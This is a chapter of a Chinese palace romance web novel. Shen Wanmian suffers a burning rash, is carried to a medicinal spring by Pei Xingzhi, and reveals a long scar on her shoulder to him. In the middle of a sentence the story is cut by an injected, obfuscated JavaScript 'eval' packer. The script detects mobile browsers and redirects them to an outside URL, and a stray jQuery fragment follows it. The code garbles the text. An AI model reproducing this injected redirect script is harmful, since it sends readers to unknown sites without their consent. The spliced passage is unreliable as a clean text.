沈晚眠身上还起着红疹。
此刻她痒的着实厉害,整个人像是被火烤着一般,又痒又热。
刚才在皇帝面前,她不敢有大的动作。
现在她终于忍不住,开始用力的挠自己胳膊。
痒痒痒痒痒!好痒!好热!
吉祥心疼的都要落泪,她家小姐怎的这般命苦。
走到哪里都被人陷害。
看着自家小姐娇嫩的皮肤红肿成这个样,吉祥实在不忍。
“小姐您别挠了,都快挠出血了,我这就去请太医,您先忍忍。”
吉祥刚走出去两步,便与裴行止碰上。
“你家小姐呢,出什么事了!?”
裴行止刚安慰了珍妃两句,转头就不见沈晚眠的身影。
于是他便来寻沈晚眠,结果看到吉祥眼角挂着泪,还独自一人往这边跑。
“殿下,还请您救救我家小姐。”
裴行止赶到时,沈晚眠已经被烧的有些模糊了,甚至连钻心的痒意都要感觉不到。
她靠在假山上,努力让自己保持清醒。
裴宴到底是想救她还是想害她!
裴行止的心像是被人狠狠揪住。
他的脸上满是慌乱与心疼,他疾步上前,一把将沈晚眠抱起。
沈晚眠被他的动作吓了一跳,脑袋都清醒了几分。
这是在宫里,如果被旁人瞧见……
“你放我下来!我自己能走!”
裴行止全当听不见,抱起她就往汤泉宫的方向而去。
沈晚眠见状,只等闭眼装死。
她若在他怀中活蹦乱跳的被旁人瞧见,那才是真正的绝望。
裴行止的脚步很快,吉祥快步跑都被他甩出一大截。
阿烟早已在汤泉宫候着。
裴行止一进门,阿烟便从他手中接过沈晚眠。
“都准备妥了吗?”
阿烟点点头:“属下带小姐去了。”
沈晚眠再次睁眼时,阿烟已经上手脱她的衣服了。
二人都被对方吓了一跳。
“小姐,你醒了。”
“阿烟,你干什么呢!”
阿烟以为沈晚眠昏过去了,才想替她更衣。
“小姐快些更衣吧,药泉已为您备好。”
沈晚眠有气无力的点点头。
“多谢,你先出去吧,我自己来就好。”
她不想让阿烟看到,她身上的疤。
阿烟离开后,沈晚眠将身上的衣服褪下。
许是烧的有些糊涂,又或许是她太痒了,都忘了换上阿烟为她准备的衣服。
随后她用尽最后一丝力气,爬进药泉。
汤泉宫内烟雾缭绕,温热的泉水漫过她的身体。
体内的燥热和痒意,瞬间得到缓解。
沈晚眠缓缓吐出一口气,今日算她逃过一劫,不,应该是三劫。
她才入宫多长时间,就被这么多人盯上。
往后行事还需更小心。
不过这些日子,她几乎把宫中人接触了个遍,也没发现有什么不对劲的。
一股无力感突然将她包围。
毕竟那是十年后的事,而且这次她选择了和上一世不同的路。
要想揪出凶手,岂不难如登天。
“你好些了吗?”
屏风外突然传出的声音,将她的思绪拉回。
“好……好些了。”
虽然她现在泡在药泉中,和对方还隔着一层屏风。
但她此刻什么都没穿,有种莫名的羞耻感。
屏风上倒映出她的身影,裴行止不禁脸色一红。
阿烟准备的什么衣服,怎么跟没穿一样。
“殿下,谢谢你,总是在我需要帮助的时候出现。”
似乎她欠他的,越来越多了。
隔着屏风,裴行止听不清她在讲什么。
于是他抬步越过屏风。
“你说什么?”
“啊!”
沈晚眠见到他的那一刻,整个人都傻了,他怎么进来了!
还好药泉够深,加上空气中的雾气,他应该没看到什不该看的。
她匆忙转过身,裴行止亦是如此。
她怎么没穿衣服!
裴行止脚步凌乱的退回到屏风的另一侧。
“抱歉,我以为你穿了衣服……”
这一幕怎么有些似曾相识,好像她第一次去他府上时,也是这般场景。
明明只是匆匆一撇,但却久久在他脑海挥散不去。
裴行止只感觉心脏都要从胸腔跳出来。
“你看到了吗?”
比起他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159089|179035||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慌乱,沈晚眠异常冷静。
裴行止下意识摇头,又想到她看不见,才又补充道:“没……我什么都没看到。”
里面突然没了声音。
过了许久,他都没听到她的回话。
裴行止心头一紧,她不会生气了吧。
沈晚眠将自己用布裹起,随后来到屏风另一侧。
裴行止有些懵,她怎么出来了?
“你……”
沈晚眠一把扯下肩头一侧的布。
“殿下,您看到了吗?”
她白皙消瘦的肩膀上,竟盘旋着一道狰狞可怖的长疤。
裴行止的眼神瞬间凝固,他嘴唇微微颤动,向前迈了一步,却又在触及到她冰冷的目光后停住。
“看到了吧,您还喜欢吗?”
上一世,在她的大婚之夜,裴宴因为这条疤,直接拒绝与她同房。
之后更是对她百般嫌恶。
最后,她实在没办法,只能秘密寻了青楼的刺青师,将疤痕用图案盖住。
裴宴这才与她圆房。
椎骨之痛,她不愿忍受第二次,也没人值得让她忍受第二次。
既然说的话起不到作用。
那就来点实际的。
“殿下,您还喜欢吗?”
裴行止抬起头,对上她略带讥讽的目光。
他什么都没说,只一个箭步上前,长臂一伸,将她揽入怀中。
“很疼吧,是我不好。”
他永远忘不掉,九年前,那个义无反顾挡在他身前的瘦小身影。
那个替他挡下致命一击的身影。
裴行止将头埋到她的肩颈,双臂环的更紧了。
“对不起,对不起,对不起。”
三声道歉,一句比一句哽咽。
沈晚眠感觉肩头一湿,她呆呆的站在原地,有些不知所措。
她想过很多种情况。
他会逃跑,或者会安慰,会心疼。
就是没想过他会愧疚,会道歉。
她动作僵硬的抬起手臂,略带迟疑的拍了拍他的背。
“别哭了,都过去了。”
明明需要安慰的是她,怎么反倒他哭个不停。
良久,裴行止才止住呜咽。
他眼泪汪汪的抬起头,直视着沈晚眠的眼睛。